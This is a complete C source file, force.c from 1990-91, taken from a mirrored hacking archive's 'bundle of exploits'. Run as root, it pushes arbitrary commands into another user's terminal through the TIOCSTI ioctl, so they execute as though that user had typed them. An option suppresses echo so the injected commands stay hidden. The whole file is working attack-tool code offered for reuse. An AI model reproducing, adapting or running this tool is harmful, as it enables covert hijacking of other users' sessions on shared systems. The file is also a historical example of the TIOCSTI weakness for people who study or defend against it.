home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Freaks Macintosh Archive
/
Freaks Macintosh Archive.bin
/
Freaks Macintosh Archives
/
Hacking & Misc
/
bundle of exploits.sit
/
bundle of exploits
/
force.c
< prev
next >
Wrap
C/C++ Source or Header
|
1997-03-27
|
5KB
|
213 lines
/*
* force.c - v1.3 - by Brendan Kehoe (brendan@cs.widener.edu)
*
* v1.0 - 10/15/90 - force execution of a command on the user's command line
* v1.1 - 11/19/90 - allow a pseudo-interactive session, of sorts
* v1.2 - 11/20/90 - made the thing error check itself into oblivion
* v1.3 - 7/16/91 - Ported to SGI by Dan Watts
*
* Usage: force [ -n ] [ -l /dev/ttyxx ]
* -n - use this if you don't want the command to echo
* -l /dev/ttyxx - the line to hit; use the full name (e.g. /dev/ttyp0)
*
* Compiles under SGI Irix, SunOS 4.1, Ultrix 3.1D, and Ultrix 4.1. No
* promises are made for other OS's or systems.
*
* It won't work under System V Release anything until an alternative
* to the TIOCSTI ioctl comes around. (Or you use SVR4, I'm told.)
*
* (Yes, this requires you be root to use it.)
*
* To use it, just type whatever at the Force> prompt, and when you
* hit return, that line will get sent onto the user's input queue,
* so it's like they typed it. Use Control-V to quote control characters
* like Control-C. Type -X- on an empty line to quit out.
*
* You're welcome to do whatever you want with this, as long as you note
* its origin somewhere. (Namely "This Was Written By Brendan Kehoe", for
* starters.) (A 19-page writeup would be cool, too, but maybe it's too much.)
*/
#include <stdio.h>
#include <sys/types.h> /* for stat(2) */
#include <sys/stat.h> /* for stat(2) */
#include <fcntl.h>
#ifdef sgi
# include <sys/termio.h>
# define termios termio
# define TCGETS TCGETA
# define TCSETS TCSETA
#else
#include <sys/termios.h>
#endif
#ifdef ultrix
# include <sys/ioctl.h>
# define TCGETS TCGETP
# define TCSETS TCSANOW
#endif /* ultrix */
void push(), devchk();
extern char *optarg;
extern int optind;
short no_echo = 0;
#define USAGE "usage: %s [-n] [-l /dev/ttyxx]\n",*argv
#define COMMAND_LIM 100
int
main(argc, argv)
int argc;
char **argv;
{
int f, cnt;
short true = 1, no_cmd = 0;
char *device, *buf, *trail, chr;
if (argc > 4) {
fprintf(stderr, USAGE);
exit(1);
}
if ((device = (char *)malloc(40)) == (char *)NULL) {
perror("malloc 1");
exit(1);
}
if ((buf = (char *) malloc(COMMAND_LIM)) == (char *)NULL) {
perror("malloc 1a");
exit(1);
}
while ((chr = getopt(argc, argv, "nl:")) != -1)
switch (chr) {
case 'n':
no_echo = 1;
break;
case 'l':
(void) devchk(optarg, *argv);
device = optarg;
break;
default:
fprintf(stderr, USAGE);
exit(1);
}
if (strlen(device) < 2) {
printf("Device [form: /dev/ttyxx]: ");
fflush(stdout);
fgets(device, 39, stdin);
/* cut off the trailing return that fgets leaves on */
if ((*device) && (*(trail=(char *)(device + strlen(device) - 1)) == '\n'))
*trail = '\0';
if (strlen(device) > 7)
(void) devchk(device, *argv);
else {
fprintf(stderr, "%s: give full name [e.g. /dev/ttyp0].\n", *argv);
exit(1);
}
}
printf("Terminate with '-X-' on a line by itself.\n");
while (true) {
no_cmd = cnt = 0;
chr = *buf = '\0';
printf("Force> ");
rewind(stdin);
while (((chr=getchar()) != '\n') && (chr != EOF) && (cnt < COMMAND_LIM))
*(buf + cnt++) = chr;
if (cnt == COMMAND_LIM) {
printf("Limit of %d characters per command line.\n", COMMAND_LIM);
no_cmd = 1;
}
if (chr == EOF) {
putc('\n', stdout);
exit(0);
}
if (!no_cmd) {
*(buf + cnt) = '\0';
if (!strcmp(buf, "-X-"))
true = 0;
else if ((*buf != '\n') && (*buf != '\0')) {
if ((f = open(device, O_NDELAY | O_RDWR)) < 0) {
perror("open");
exit(1);
}
push(f, buf);
close(f);
}
}
}
}
void
push(f, s)
int f;
char *s;
{
register int i;
char ret='\n';
struct termios termios;
if (no_echo) {
if (ioctl(f, TCGETS, &termios) < 0) {
perror("ioctl 1");
exit(1);
}
termios.c_lflag &= ~ECHO;
if (ioctl(f, TCSETS, &termios) < 0) {
perror("ioctl 2");
exit(1);
}
}
if (ioctl(f, TCFLSH, 0) < 0) { /* flush the input queue */
perror("ioctl 3");
exit(1);
}
for (i = 0; i < strlen(s); i++) /* give 'em the command */
ioctl(f, TIOCSTI, s + i);
ioctl(f, TIOCSTI, &ret); /* including a return */
if (no_echo) {
ioctl(f, TCGETS, &termios);
termios.c_lflag |= ECHO;
ioctl(f, TCSETS, &termios);
ioctl(f, TCFLSH, 1); /* flush the output queue */
}
}
void
devchk(device, prg)
char *device, *prg;
{
struct stat sb;
if (strncmp(device, "/dev/tt", 7) && strncmp(device, "/dev/co", 7)) {
fprintf(stderr, "%s: give full name [e.g. /dev/ttyp0].\n", prg);
exit(1);
}
if (!strcmp(device, ttyname(0))) {
fprintf(stderr, "%s: you can't force yourself, you masochist.\n",
prg);
exit(1);
}
if (strlen(device) > 40) {
fprintf(stderr, "%s: terminal name too long.\n", prg);
exit(1);
}
/*
* there's probably a cleaner way to do this (not having the struct down
* here at all); I considered using alloca, then decided not to. I'm open
* to suggestions. - BK 11/20
*/
if (stat(device, (struct stat *)&sb) < 0) {
perror(prg);
exit(1);
}
}